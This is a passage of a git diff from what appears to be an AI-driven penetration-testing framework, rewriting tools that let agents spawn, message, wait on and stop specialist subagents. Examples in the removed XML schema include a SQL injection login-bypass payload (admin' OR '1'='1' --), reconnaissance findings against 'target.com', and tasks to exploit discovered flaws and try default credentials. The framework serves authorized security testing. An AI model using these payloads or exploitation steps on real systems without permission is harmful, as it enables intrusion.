- _agent_messages[target_agent_id].append(message_data)
-
- _agent_graph["edges"].append(
- {
- "from": sender_id,
- "to": target_agent_id,
- "type": "message",
- "message_id": message_id,
- "message_type": message_type,
- "priority": priority,
- "created_at": datetime.now(UTC).isoformat(),
- }
- )
-
- message_data["delivered"] = True
-
- target_name = _agent_graph["nodes"][target_agent_id]["name"]
- sender_name = _agent_graph["nodes"][sender_id]["name"]
-
- return {
- "success": True,
- "message_id": message_id,
- "message": f"Message sent from '{sender_name}' to '{target_name}'",
- "delivery_status": "delivered",
- "target_agent": {
- "id": target_agent_id,
- "name": target_name,
- "status": _agent_graph["nodes"][target_agent_id]["status"],
- },
- }
-
- except Exception as e: # noqa: BLE001
- return {"success": False, "error": f"Failed to send message: {e}", "message_id": None}
-
-
-@register_tool(sandbox_execution=False)
-def agent_finish(
- agent_state: Any,
- result_summary: str,
- findings: list[str] | None = None,
- success: bool = True,
- report_to_parent: bool = True,
- final_recommendations: list[str] | None = None,
-) -> dict[str, Any]:
- try:
- if not hasattr(agent_state, "parent_id") or agent_state.parent_id is None:
- return {
- "agent_completed": False,
- "error": (
- "This tool can only be used by subagents. "
- "Root/main agents must use finish_scan instead."
- ),
- "parent_notified": False,
- }
-
- agent_id = agent_state.agent_id
-
- if agent_id not in _agent_graph["nodes"]:
- return {"agent_completed": False, "error": "Current agent not found in graph"}
-
- agent_node = _agent_graph["nodes"][agent_id]
-
- agent_node["status"] = "finished" if success else "failed"
- agent_node["finished_at"] = datetime.now(UTC).isoformat()
- agent_node["result"] = {
- "summary": result_summary,
- "findings": findings or [],
- "success": success,
- "recommendations": final_recommendations or [],
- }
-
- parent_notified = False
-
- if report_to_parent and agent_node["parent_id"]:
- parent_id = agent_node["parent_id"]
-
- if parent_id in _agent_graph["nodes"]:
- findings_xml = "\n".join(
- f" {finding} " for finding in (findings or [])
- )
- recommendations_xml = "\n".join(
- f" {rec} "
- for rec in (final_recommendations or [])
- )
-
- report_message = f"""
-
- {agent_node["name"]}
- {agent_id}
- {agent_node["task"]}
- {"SUCCESS" if success else "FAILED"}
- {agent_node["finished_at"]}
-
-
- {result_summary}
-
-{findings_xml}
-
-
-{recommendations_xml}
-
-
- """
-
- if parent_id not in _agent_messages:
- _agent_messages[parent_id] = []
-
- from uuid import uuid4
-
- _agent_messages[parent_id].append(
- {
- "id": f"report_{uuid4().hex[:8]}",
- "from": agent_id,
- "to": parent_id,
- "content": report_message,
- "message_type": "information",
- "priority": "high",
- "timestamp": datetime.now(UTC).isoformat(),
- "delivered": True,
- "read": False,
- }
- )
-
- parent_notified = True
-
- _running_agents.pop(agent_id, None)
-
- return {
- "agent_completed": True,
- "parent_notified": parent_notified,
- "completion_summary": {
- "agent_id": agent_id,
- "agent_name": agent_node["name"],
- "task": agent_node["task"],
- "success": success,
- "findings_count": len(findings or []),
- "has_recommendations": bool(final_recommendations),
- "finished_at": agent_node["finished_at"],
- },
- }
-
- except Exception as e: # noqa: BLE001
- return {
- "agent_completed": False,
- "error": f"Failed to complete agent: {e}",
- "parent_notified": False,
- }
-
-
-def stop_agent(agent_id: str) -> dict[str, Any]:
- try:
- if agent_id not in _agent_graph["nodes"]:
- return {
- "success": False,
- "error": f"Agent '{agent_id}' not found in graph",
- "agent_id": agent_id,
- }
-
- agent_node = _agent_graph["nodes"][agent_id]
-
- if agent_node["status"] in ["completed", "error", "failed", "stopped"]:
- return {
- "success": True,
- "message": f"Agent '{agent_node['name']}' was already stopped",
- "agent_id": agent_id,
- "previous_status": agent_node["status"],
- }
-
- if agent_id in _agent_states:
- agent_state = _agent_states[agent_id]
- agent_state.request_stop()
-
- if agent_id in _agent_instances:
- agent_instance = _agent_instances[agent_id]
- if hasattr(agent_instance, "state"):
- agent_instance.state.request_stop()
- if hasattr(agent_instance, "cancel_current_execution"):
- agent_instance.cancel_current_execution()
-
- agent_node["status"] = "stopping"
-
- try:
- from strix.cli.tracer import get_global_tracer
-
- tracer = get_global_tracer()
- if tracer:
- tracer.update_agent_status(agent_id, "stopping")
- except (ImportError, AttributeError):
- pass
-
- agent_node["result"] = {
- "summary": "Agent stop requested by user",
- "success": False,
- "stopped_by_user": True,
- }
-
- return {
- "success": True,
- "message": f"Stop request sent to agent '{agent_node['name']}'",
- "agent_id": agent_id,
- "agent_name": agent_node["name"],
- "note": "Agent will stop gracefully after current iteration",
- }
-
- except Exception as e: # noqa: BLE001
- return {
- "success": False,
- "error": f"Failed to stop agent: {e}",
- "agent_id": agent_id,
- }
-
-
-def send_user_message_to_agent(agent_id: str, message: str) -> dict[str, Any]:
- try:
- if agent_id not in _agent_graph["nodes"]:
- return {
- "success": False,
- "error": f"Agent '{agent_id}' not found in graph",
- "agent_id": agent_id,
- }
-
- agent_node = _agent_graph["nodes"][agent_id]
-
- if agent_id not in _agent_messages:
- _agent_messages[agent_id] = []
-
- from uuid import uuid4
-
- message_data = {
- "id": f"user_msg_{uuid4().hex[:8]}",
- "from": "user",
- "to": agent_id,
- "content": message,
- "message_type": "instruction",
- "priority": "high",
- "timestamp": datetime.now(UTC).isoformat(),
- "delivered": True,
- "read": False,
- }
-
- _agent_messages[agent_id].append(message_data)
-
- return {
- "success": True,
- "message": f"Message sent to agent '{agent_node['name']}'",
- "agent_id": agent_id,
- "agent_name": agent_node["name"],
- }
-
- except Exception as e: # noqa: BLE001
- return {
- "success": False,
- "error": f"Failed to send message to agent: {e}",
- "agent_id": agent_id,
- }
-
-
-@register_tool(sandbox_execution=False)
-def wait_for_message(
- agent_state: Any,
- reason: str = "Waiting for messages from other agents or user input",
-) -> dict[str, Any]:
- try:
- agent_id = agent_state.agent_id
- agent_name = agent_state.agent_name
-
- agent_state.enter_waiting_state()
-
- if agent_id in _agent_graph["nodes"]:
- _agent_graph["nodes"][agent_id]["status"] = "waiting"
- _agent_graph["nodes"][agent_id]["waiting_reason"] = reason
-
- try:
- from strix.cli.tracer import get_global_tracer
-
- tracer = get_global_tracer()
- if tracer:
- tracer.update_agent_status(agent_id, "waiting")
- except (ImportError, AttributeError):
- pass
-
- except Exception as e: # noqa: BLE001
- return {"success": False, "error": f"Failed to enter waiting state: {e}", "status": "error"}
- else:
- return {
- "success": True,
- "status": "waiting",
- "message": f"Agent '{agent_name}' is now waiting for messages",
- "reason": reason,
- "agent_info": {
- "id": agent_id,
- "name": agent_name,
- "status": "waiting",
- },
- "resume_conditions": [
- "Message from another agent",
- "Message from user",
- "Direct communication",
- ],
- }
diff --git a/strix/tools/agents_graph/agents_graph_actions_schema.xml b/strix/tools/agents_graph/agents_graph_actions_schema.xml
deleted file mode 100644
index a4536d2a3..000000000
--- a/strix/tools/agents_graph/agents_graph_actions_schema.xml
+++ /dev/null
@@ -1,223 +0,0 @@
-
-
- Mark a subagent's task as completed and optionally report results to parent agent.
-
-IMPORTANT: This tool can ONLY be used by subagents (agents with a parent).
-Root/main agents must use finish_scan instead.
-
-This tool should be called when a subagent completes its assigned subtask to:
-- Mark the subagent's task as completed
-- Report findings back to the parent agent
-
-Use this tool when:
-- You are a subagent working on a specific subtask
-- You have completed your assigned task
-- You want to report your findings to the parent agent
-- You are ready to terminate this subagent's execution
- This replaces the previous finish_scan tool and handles both sub-agent completion
- and main agent completion. When a sub-agent finishes, it can report its findings
- back to the parent agent for coordination.
-
-
- Summary of what the agent accomplished and discovered
-
-
- List of specific findings, vulnerabilities, or discoveries
-
-
- Whether the agent's task completed successfully
-
-
- Whether to send results back to the parent agent
-
-
- Recommendations for next steps or follow-up actions
-
-
-
- Response containing: - agent_completed: Whether the agent was marked as completed - parent_notified: Whether parent was notified (if applicable) - completion_summary: Summary of completion status
-
-
- # Sub-agent completing subdomain enumeration task
-
- Completed comprehensive subdomain enumeration for target.com.
- Discovered 47 subdomains including several interesting ones with admin/dev
- in the name. Found 3 subdomains with exposed services on non-standard
- ports.
- ["admin.target.com - exposed phpMyAdmin",
- "dev-api.target.com - unauth API endpoints",
- "staging.target.com - directory listing enabled",
- "mail.target.com - POP3/IMAP services"]
- true
- true
- ["Prioritize testing admin.target.com for default creds",
- "Enumerate dev-api.target.com API endpoints",
- "Check staging.target.com for sensitive files"]
-
-
-
-
- Create and spawn a new agent to handle a specific subtask.
-
-MANDATORY REQUIREMENT: You MUST call view_agent_graph FIRST before creating any new agent to check if there is already an agent working on the same or similar task. Only create a new agent if no existing agent is handling the specific task.
- The new agent inherits the parent's conversation history and context up to the point
- of creation, then continues with its assigned subtask. This enables decomposition
- of complex penetration testing tasks into specialized sub-agents.
-
- The agent runs asynchronously and independently, allowing the parent to continue
- immediately while the new agent executes its task in the background.
-
- CRITICAL: Before calling this tool, you MUST first use view_agent_graph to:
- - Examine all existing agents and their current tasks
- - Verify no agent is already working on the same or similar objective
- - Avoid duplication of effort and resource waste
- - Ensure efficient coordination across the multi-agent system
-
- If you as a parent agent don't absolutely have anything to do while your subagents are running, you can use wait_for_message tool. The subagent will continue to run in the background, and update you when it's done.
-
-
-
- The specific task/objective for the new agent to accomplish
-
-
- Human-readable name for the agent (for tracking purposes)
-
-
- Whether the new agent should inherit parent's conversation history and context
-
-
- Comma-separated list of prompt modules to use for the agent. Most agents should have at least one module in order to be useful. {{DYNAMIC_MODULES_DESCRIPTION}}
-
-
-
- Response containing: - agent_id: Unique identifier for the created agent - success: Whether the agent was created successfully - message: Status message - agent_info: Details about the created agent
-
-
- # REQUIRED: First check agent graph before creating any new agent
-
-
- # REQUIRED: Check agent graph again before creating another agent
-
-
-
- # After confirming no SQL testing agent exists, create agent for vulnerability validation
-
- Validate and exploit the suspected SQL injection vulnerability found in
- the login form. Confirm exploitability and document proof of concept.
- SQLi Validator
- sql_injection
-
-
- # Create specialized authentication testing agent with multiple modules (comma-separated)
-
- Test authentication mechanisms, JWT implementation, and session management
- for security vulnerabilities and bypass techniques.
- Auth Specialist
- authentication_jwt, business_logic
-
-
-
-
- Send a message to another agent in the graph for coordination and communication.
- This enables agents to communicate with each other during execution for:
- - Sharing discovered information or findings
- - Asking questions or requesting assistance
- - Providing instructions or coordination
- - Reporting status or results
-
-
- ID of the agent to send the message to
-
-
- The message content to send
-
-
- Type of message being sent: - "query": Question requiring a response - "instruction": Command or directive for the target agent - "information": Informational message (findings, status, etc.)
-
-
- Priority level of the message
-
-
-
- Response containing: - success: Whether the message was sent successfully - message_id: Unique identifier for the message - delivery_status: Status of message delivery
-
-
- # Share discovered vulnerability information
-
- agent_abc123
- Found SQL injection vulnerability in /login.php parameter 'username'.
- Payload: admin' OR '1'='1' -- successfully bypassed authentication.
- You should focus your testing on the authenticated areas of the
- application.
- information
- high
-
-
- # Request assistance from specialist agent
-
- agent_def456
- I've identified what appears to be a custom encryption implementation
- in the API responses. Can you analyze the cryptographic strength and look
- for potential weaknesses?
- query
- normal
-
-
-
-
- View the current agent graph showing all agents, their relationships, and status.
- This provides a comprehensive overview of the multi-agent system including:
- - All agent nodes with their tasks, status, and metadata
- - Parent-child relationships between agents
- - Message communication patterns
- - Current execution state
-
- Response containing: - graph_structure: Human-readable representation of the agent graph - summary: High-level statistics about the graph
-
-
-
- Pause the agent loop indefinitely until receiving a message from another agent or user.
-
-This tool puts the agent into a waiting state where it remains idle until it receives any form of communication. The agent will automatically resume execution when a message arrives.
-
-IMPORTANT: This tool causes the agent to stop all activity until a message is received. Use it when you need to:
-- Wait for subagent completion reports
-- Coordinate with other agents before proceeding
-- Pause for user input or decisions
-- Synchronize multi-agent workflows
-
-NOTE: If you are waiting for an agent that is NOT your subagent, you first tell it to message you with updates before waiting for it. Otherwise, you will wait forever!
-
- When this tool is called, the agent enters a waiting state and will not continue execution until:
- - Another agent sends it a message via send_message_to_agent
- - A user sends it a direct message through the CLI
- - Any other form of inter-agent or user communication occurs
-
- The agent will automatically resume from where it left off once a message is received.
- This is particularly useful for parent agents waiting for subagent results or for coordination points in multi-agent workflows.
-
-
- Explanation for why the agent is waiting (for logging and monitoring purposes)
-
-
-
- Response containing: - success: Whether the agent successfully entered waiting state - status: Current agent status ("waiting") - reason: The reason for waiting - agent_info: Details about the waiting agent - resume_conditions: List of conditions that will resume the agent
-
-
- # Wait for subagents to complete their tasks
-
- Waiting for subdomain enumeration and port scanning subagents to complete their tasks and report findings
-
-
- # Wait for user input on next steps
-
- Waiting for user decision on whether to proceed with exploitation of discovered SQL injection vulnerability
-
-
- # Coordinate with other agents
-
- Waiting for vulnerability assessment agent to share discovered attack vectors before proceeding with exploitation phase
-
-
-
-
diff --git a/strix/tools/agents_graph/tools.py b/strix/tools/agents_graph/tools.py
new file mode 100644
index 000000000..5c1bfd453
--- /dev/null
+++ b/strix/tools/agents_graph/tools.py
@@ -0,0 +1,673 @@
+"""Multi-agent graph tools backed by AgentCoordinator."""
+
+from __future__ import annotations
+
+import asyncio
+import json
+import logging
+import uuid
+from collections import Counter
+from datetime import UTC, datetime
+from typing import Any, Literal, get_args
+
+from agents import RunContextWrapper, function_tool
+
+from strix.core.agents import Status, coordinator_from_context
+from strix.skills import validate_requested_skills
+
+
+_ACTIVE_STATUSES: frozenset[str] = frozenset({"running", "waiting"})
+
+
+logger = logging.getLogger(__name__)
+
+
+def _ctx(ctx: RunContextWrapper) -> dict[str, Any]:
+ return ctx.context if isinstance(ctx.context, dict) else {}
+
+
+def _render_completion_report(
+ *,
+ agent_name: str,
+ agent_id: str,
+ task: str,
+ success: bool,
+ result_summary: str,
+ findings: list[str],
+ recommendations: list[str],
+) -> str:
+ """Render a child's completion report as plain structured text.
+
+ Goes into the parent's SDK session with coordinator-added sender
+ metadata, so this body just carries the contents. No XML — no
+ escaping concerns, no parser ambiguity.
+ """
+ status = "SUCCESS" if success else "FAILED"
+ completion_time = datetime.now(UTC).isoformat()
+
+ lines: list[str] = [
+ f"== Completion report from {agent_name} ({agent_id}) ==",
+ f"Status: {status}",
+ f"Time: {completion_time}",
+ ]
+ if task:
+ lines.append(f"Task: {task}")
+ lines.append("")
+ lines.append("Summary:")
+ lines.append(result_summary or "(none)")
+ if findings:
+ lines.append("")
+ lines.append("Findings:")
+ lines.extend(f"- {f}" for f in findings)
+ if recommendations:
+ lines.append("")
+ lines.append("Recommendations:")
+ lines.extend(f"- {r}" for r in recommendations)
+ return "\n".join(lines)
+
+
+@function_tool(timeout=30)
+async def view_agent_graph(ctx: RunContextWrapper) -> str:
+ """Print the multi-agent tree — every agent, its parent, its status.
+
+ Use before spawning a new agent (don't duplicate work — check whether
+ something specialized for that task already exists) and any time you
+ want a snapshot of who's still ``running`` / ``waiting`` /
+ ``completed`` / ``crashed`` / ``stopped``. Output is an indented
+ bullet list with status in brackets; the agent that called this tool
+ is marked ``← you``.
+ """
+ inner = _ctx(ctx)
+ coordinator = coordinator_from_context(inner)
+ me = inner.get("agent_id")
+ if coordinator is None:
+ return json.dumps(
+ {"success": False, "error": "Agent coordinator not initialized in context"},
+ ensure_ascii=False,
+ default=str,
+ )
+
+ parent_of, statuses, names = await coordinator.graph_snapshot()
+
+ lines: list[str] = []
+
+ def render(aid: str, depth: int) -> None:
+ status = statuses.get(aid, "?")
+ marker = " ← you" if aid == me else ""
+ lines.append(f"{' ' * depth}- {names.get(aid, aid)} ({aid}) [{status}]{marker}")
+ for child, p in parent_of.items():
+ if p == aid:
+ render(child, depth + 1)
+
+ roots = [aid for aid, parent in parent_of.items() if parent is None]
+ for root in roots:
+ render(root, 0)
+
+ counts = Counter(statuses.values())
+ summary: dict[str, int] = {"total": len(parent_of)}
+ for status_name in get_args(Status):
+ summary[status_name] = counts.get(status_name, 0)
+ return json.dumps(
+ {
+ "success": True,
+ "graph_structure": "\n".join(lines) or "(no agents)",
+ "summary": summary,
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+
+@function_tool(timeout=30)
+async def send_message_to_agent(
+ ctx: RunContextWrapper,
+ target_agent_id: str,
+ message: str,
+ message_type: Literal["query", "instruction", "information"] = "information",
+ priority: Literal["low", "normal", "high", "urgent"] = "normal",
+) -> str:
+ """Send a message to another agent's inbox — sparingly.
+
+ Inter-agent messages are appended to the target's SDK session and
+ interrupt any active target turn so the next run cycle sees them.
+ Use only when essential:
+
+ - Sharing a discovered finding/credential another agent needs.
+ - Asking a specialist a focused question.
+ - Coordinating who covers what (avoid overlap).
+ - Telling a child to wrap up or change course.
+
+ **Don't** use for routine "hello/status" pings, for context the
+ target already has (children inherit parent history), or when
+ parent/child completion via ``agent_finish`` already covers the
+ flow. Messages to any registered agent wake it, regardless of
+ status, so a follow-up can restart a completed/stopped/failed agent.
+
+ Args:
+ target_agent_id: Recipient's 8-char id.
+ message: The full message body. Be specific — include payloads,
+ URLs, or what you want them to do, not just headlines.
+ message_type: ``query`` (you want a reply), ``instruction``
+ (you're directing them), ``information`` (FYI, no reply
+ expected). Default ``information``.
+ priority: ``low`` / ``normal`` / ``high`` / ``urgent``.
+ """
+ inner = _ctx(ctx)
+ coordinator = coordinator_from_context(inner)
+ me = inner.get("agent_id")
+ if coordinator is None or me is None:
+ return json.dumps(
+ {"success": False, "error": "Agent coordinator or agent_id missing in context"},
+ ensure_ascii=False,
+ default=str,
+ )
+ if target_agent_id == me:
+ return json.dumps(
+ {
+ "success": False,
+ "error": (
+ "Cannot send a message to yourself; use `think` to record a "
+ "private note, or `agent_finish` / `finish_scan` to terminate"
+ ),
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+ msg_id = f"msg_{uuid.uuid4().hex[:8]}"
+ delivered = await coordinator.send(
+ target_agent_id,
+ {
+ "id": msg_id,
+ "from": me,
+ "content": message,
+ "type": message_type,
+ "priority": priority,
+ },
+ )
+ if not delivered:
+ return json.dumps(
+ {
+ "success": False,
+ "error": f"Target agent '{target_agent_id}' not found or message delivery failed",
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+ return json.dumps(
+ {
+ "success": True,
+ "message_id": msg_id,
+ "target_agent_id": target_agent_id,
+ "delivery_status": "delivered",
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+
+def _session_items_payload(items: list[Any]) -> list[dict[str, Any]]:
+ payload: list[dict[str, Any]] = []
+ for item in items:
+ if isinstance(item, dict):
+ role = item.get("role")
+ content = item.get("content")
+ payload.append({"role": role, "content": content})
+ else:
+ payload.append({"content": str(item)})
+ return payload
+
+
+@function_tool(timeout=601)
+async def wait_for_message( # noqa: PLR0911
+ ctx: RunContextWrapper,
+ reason: str = "Waiting for messages from other agents",
+ timeout_seconds: int = 600,
+) -> str:
+ """Pause this agent until a message lands in its inbox (or timeout).
+
+ Use when you have nothing useful to do until a child/peer responds
+ — typically after spawning subagents and you want to wait for
+ their completion reports. The agent automatically resumes when any
+ message arrives.
+
+ **Critical caveats:**
+
+ - **Never** call this if you finished your own task and have **no**
+ child agents running — that's a permanent stall. Call
+ ``finish_scan`` (root) or ``agent_finish`` (subagent) instead.
+ - If you're waiting on an agent that **isn't your child**, message
+ it first asking it to ping you when done — otherwise it has no
+ reason to send to your inbox and you'll wait the full timeout.
+ - Children update the parent automatically via ``agent_finish``
+ → no extra coordination needed.
+
+ Args:
+ reason: One-line note shown in graph snapshots while you're
+ waiting (helps a human or sibling agent debug who's stuck
+ on what).
+ timeout_seconds: Hard cap (default 600s). On timeout the tool
+ returns and you decide whether to keep working or wait
+ again.
+ """
+ inner = _ctx(ctx)
+ coordinator = coordinator_from_context(inner)
+ me = inner.get("agent_id")
+ interactive = bool(inner.get("interactive", False))
+ if coordinator is None or me is None:
+ return json.dumps(
+ {"success": False, "error": "Agent coordinator or agent_id missing in context"},
+ ensure_ascii=False,
+ default=str,
+ )
+
+ async with coordinator._lock:
+ stopped = coordinator.statuses.get(me) == "stopped"
+ if stopped:
+ return json.dumps(
+ {
+ "success": True,
+ "wait_outcome": "stopped",
+ "reason": reason,
+ "note": "Wait ended because this agent is stopped.",
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+ pending, items = await coordinator.consume_pending(me, include_items=True)
+ if pending > 0:
+ await coordinator.mark_running(me)
+ return json.dumps(
+ {
+ "success": True,
+ "wait_outcome": "message_arrived",
+ "pending_messages": pending,
+ "messages": _session_items_payload(items),
+ "reason": reason,
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+ if interactive:
+ await coordinator.park_waiting(me)
+ return json.dumps(
+ {
+ "success": True,
+ "wait_outcome": "waiting",
+ "reason": reason,
+ "note": "Agent parked; execution will resume when a message arrives.",
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+ await coordinator.park_waiting(me)
+ try:
+ await asyncio.wait_for(coordinator.wait_for_message(me), timeout_seconds)
+ except TimeoutError:
+ await coordinator.mark_running(me)
+ return json.dumps(
+ {
+ "success": True,
+ "wait_outcome": "timeout",
+ "timeout_seconds": timeout_seconds,
+ "reason": reason,
+ "note": "No messages within timeout — continue work or call agent_finish.",
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+ async with coordinator._lock:
+ stopped = coordinator.statuses.get(me) == "stopped"
+ if stopped:
+ return json.dumps(
+ {
+ "success": True,
+ "wait_outcome": "stopped",
+ "reason": reason,
+ "note": "Wait ended because this agent is stopped.",
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+ pending, items = await coordinator.consume_pending(me, include_items=True)
+ await coordinator.mark_running(me)
+
+ return json.dumps(
+ {
+ "success": True,
+ "wait_outcome": "message_arrived",
+ "pending_messages": pending,
+ "messages": _session_items_payload(items),
+ "reason": reason,
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+
+@function_tool(timeout=120)
+async def create_agent(
+ ctx: RunContextWrapper,
+ name: str,
+ task: str,
+ inherit_context: bool = True,
+ skills: list[str] | None = None,
+) -> str:
+ """Spawn a specialist child agent to run in parallel.
+
+ Decompose complex pentests by handing focused subtasks to dedicated
+ children. The child runs asynchronously — the parent continues
+ immediately and can ``wait_for_message`` later (or just keep
+ working in parallel). When the child calls ``agent_finish``, its
+ completion report lands in the parent's inbox.
+
+ **Before spawning, call ``view_agent_graph``** to confirm no
+ existing agent already covers this scope — duplicate specialists
+ waste turns and create coordination headaches.
+
+ **Specialization principles:**
+
+ - Most agents need at least one ``skill`` to be useful.
+ - Aim for **1-3 related skills** per agent. Up to 5 only when the
+ task genuinely spans them.
+ - One skill = most focused (e.g., XSS-only). Five skills = upper
+ bound.
+ - Match the ``name`` to the focus (``XSS Specialist``,
+ ``SQLi Validator``, ``Auth Specialist``).
+
+ **When to spawn vs do it yourself:**
+
+ - Spawn when the subtask is large, parallelizable, or needs
+ different specialization than what you're already doing.
+ - Don't spawn for trivial one-shot probes — just run the tool
+ yourself.
+
+ Args:
+ name: Human-readable child name (used in graph views and
+ ``send_message_to_agent`` flows).
+ task: Specific objective. Be concrete — what to test, what
+ success looks like, any constraints.
+ inherit_context: Default ``True``. The child receives the
+ parent's input history as background; only set ``False``
+ when starting a clean-slate task.
+ skills: List of skill names (e.g. ``["xss", "sql_injection"]``).
+ Max 5; prefer 1-3.
+ """
+ inner = _ctx(ctx)
+ coordinator = coordinator_from_context(inner)
+ parent_id = inner.get("agent_id")
+ spawner = inner.get("spawn_child_agent")
+
+ if coordinator is None or parent_id is None:
+ return json.dumps(
+ {"success": False, "error": "Agent coordinator or agent_id missing in context"},
+ ensure_ascii=False,
+ default=str,
+ )
+ if not callable(spawner):
+ return json.dumps(
+ {
+ "success": False,
+ "error": "Scan runner did not provide a child-agent spawner in context",
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+ skill_list = list(skills or [])
+ skill_error = validate_requested_skills(skill_list)
+ if skill_error:
+ return json.dumps(
+ {"success": False, "error": skill_error, "agent_id": None},
+ ensure_ascii=False,
+ default=str,
+ )
+
+ parent_history = list(ctx.turn_input) if inherit_context and ctx.turn_input else []
+ try:
+ result = await spawner(
+ parent_ctx=inner,
+ name=name,
+ task=task,
+ skills=skill_list,
+ parent_history=parent_history,
+ )
+ except Exception as e:
+ logger.exception("create_agent: scan runner failed to spawn child '%s'", name)
+ return json.dumps(
+ {"success": False, "error": f"child spawn failed: {e!s}"},
+ ensure_ascii=False,
+ default=str,
+ )
+
+ logger.info(
+ "create_agent: spawned %s (%s) parent=%s skills=%d task_len=%d",
+ result.get("agent_id"),
+ name,
+ parent_id or "-",
+ len(skill_list),
+ len(task or ""),
+ )
+
+ return json.dumps(
+ result,
+ ensure_ascii=False,
+ default=str,
+ )
+
+
+@function_tool(timeout=30)
+async def agent_finish(
+ ctx: RunContextWrapper,
+ result_summary: str,
+ findings: list[str] | None = None,
+ success: bool = True,
+ report_to_parent: bool = True,
+ final_recommendations: list[str] | None = None,
+) -> str:
+ """Subagent termination — post a completion report to the parent.
+
+ **Subagents only.** Root agents must call ``finish_scan`` instead;
+ this tool refuses to run for root agents. Calling this:
+
+ 1. Marks the subagent as ``completed``.
+ 2. Posts a structured completion report to the parent's inbox
+ (when ``report_to_parent`` is true).
+ 3. Stops this subagent's execution.
+
+ **Vulnerability findings must already be filed via
+ ``create_vulnerability_report`` before calling this.** The
+ ``findings`` field here is for narrative summary only — it does
+ not register vulns in the scan report.
+
+ Write the summary as if the parent has no idea what you were
+ doing: what did you test, what did you find/confirm/rule out,
+ what's still open.
+
+ Args:
+ result_summary: What you accomplished and discovered. Concrete
+ and specific (URLs, parameters, payloads that worked).
+ findings: Optional bullet list of confirmed observations. For
+ credit-bearing vulnerabilities, file
+ ``create_vulnerability_report`` first; this is for
+ narrative.
+ success: Whether the assigned subtask was completed
+ successfully. Default ``True``.
+ report_to_parent: Whether to deliver the completion report to
+ the parent's inbox. Default ``True``.
+ final_recommendations: Optional next-step suggestions for the
+ parent (e.g., "prioritize testing X", "spawn an agent to
+ cover Y").
+ """
+ inner = _ctx(ctx)
+ coordinator = coordinator_from_context(inner)
+ me = inner.get("agent_id")
+ if coordinator is None or me is None:
+ return json.dumps(
+ {"success": False, "error": "Agent coordinator or agent_id missing in context"},
+ ensure_ascii=False,
+ default=str,
+ )
+
+ parent_id = inner.get("parent_id")
+ if parent_id is None:
+ return json.dumps(
+ {
+ "success": False,
+ "error": (
+ "agent_finish is for subagents. Root/main agents must call finish_scan instead"
+ ),
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+ parent_notified = False
+ if report_to_parent:
+ async with coordinator._lock:
+ agent_name = coordinator.names.get(me, me)
+ report = _render_completion_report(
+ agent_name=agent_name,
+ agent_id=me,
+ task=str(inner.get("task", "")),
+ success=success,
+ result_summary=result_summary,
+ findings=list(findings or []),
+ recommendations=list(final_recommendations or []),
+ )
+ await coordinator.send(
+ parent_id,
+ {
+ "id": f"report_{uuid.uuid4().hex[:8]}",
+ "from": me,
+ "content": report,
+ "type": "completion",
+ "priority": "high",
+ },
+ )
+ parent_notified = True
+
+ logger.info(
+ "agent_finish: %s success=%s findings=%d parent_notified=%s",
+ me,
+ success,
+ len(findings or []),
+ parent_notified,
+ )
+ await coordinator.set_status(me, "completed")
+
+ return json.dumps(
+ {
+ "success": True,
+ "agent_completed": True,
+ "parent_notified": parent_notified,
+ "agent_id": me,
+ "summary": result_summary,
+ "findings_count": len(findings or []),
+ "has_recommendations": bool(final_recommendations),
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+
+@function_tool(timeout=30)
+async def stop_agent(
+ ctx: RunContextWrapper,
+ target_agent_id: str,
+ cascade: bool = True,
+ reason: str = "",
+) -> str:
+ """Gracefully stop a running agent (and optionally its descendants).
+
+ Uses the SDK's ``RunResultStreaming.cancel(mode="after_turn")`` so the
+ target's current turn finishes — including saving items to its
+ session — before the run loop honors the cancel. The agent's
+ interactive outer loop parks as ``stopped``; later user/peer
+ messages can wake it again.
+
+ Use sparingly. Prefer ``send_message_to_agent`` (asking the agent
+ to wrap up) for soft-stop scenarios. Reach for ``stop_agent`` when
+ a child has gone off-track and won't self-correct.
+
+ Args:
+ target_agent_id: The 8-char id from ``view_agent_graph`` /
+ ``create_agent``. Cannot stop yourself.
+ cascade: If ``True`` (default), also stop every descendant of
+ ``target_agent_id`` leaves-first. ``False`` stops only the
+ target.
+ reason: Optional human-readable reason for the stop, surfaced
+ in logs and telemetry.
+ """
+ inner = _ctx(ctx)
+ coordinator = coordinator_from_context(inner)
+ me = inner.get("agent_id")
+ if coordinator is None or me is None:
+ return json.dumps(
+ {"success": False, "error": "Agent coordinator or agent_id missing in context"},
+ ensure_ascii=False,
+ default=str,
+ )
+ if target_agent_id == me:
+ return json.dumps(
+ {
+ "success": False,
+ "error": "Cannot stop yourself; call agent_finish or finish_scan instead",
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+ _, statuses, _ = await coordinator.graph_snapshot()
+ if target_agent_id not in statuses:
+ return json.dumps(
+ {"success": False, "error": f"Unknown agent_id: {target_agent_id}"},
+ ensure_ascii=False,
+ default=str,
+ )
+
+ current_status = statuses[target_agent_id]
+ if current_status not in _ACTIVE_STATUSES:
+ return json.dumps(
+ {
+ "success": False,
+ "error": (
+ f"Agent {target_agent_id} is already '{current_status}'; "
+ "stop_agent only acts on running/waiting agents — use "
+ "view_agent_graph to find still-active descendants and "
+ "stop them individually, or send_message_to_agent if you "
+ "want to wake this one with new instructions"
+ ),
+ "target_agent_id": target_agent_id,
+ "current_status": current_status,
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+ if cascade:
+ await coordinator.cancel_descendants_graceful(target_agent_id)
+ else:
+ await coordinator.request_stop(target_agent_id)
+
+ logger.info(
+ "stop_agent: target=%s cascade=%s reason=%r",
+ target_agent_id,
+ cascade,
+ reason,
+ )
+ return json.dumps(
+ {
+ "success": True,
+ "target_agent_id": target_agent_id,
+ "cascade": cascade,
+ "reason": reason,
+ "note": "Cancellation is graceful — current turn completes first.",
+ },
+ ensure_ascii=False,
+ default=str,
+ )
diff --git a/strix/tools/apply_patch/README.md b/strix/tools/apply_patch/README.md
new file mode 100644
index 000000000..6598b83e5
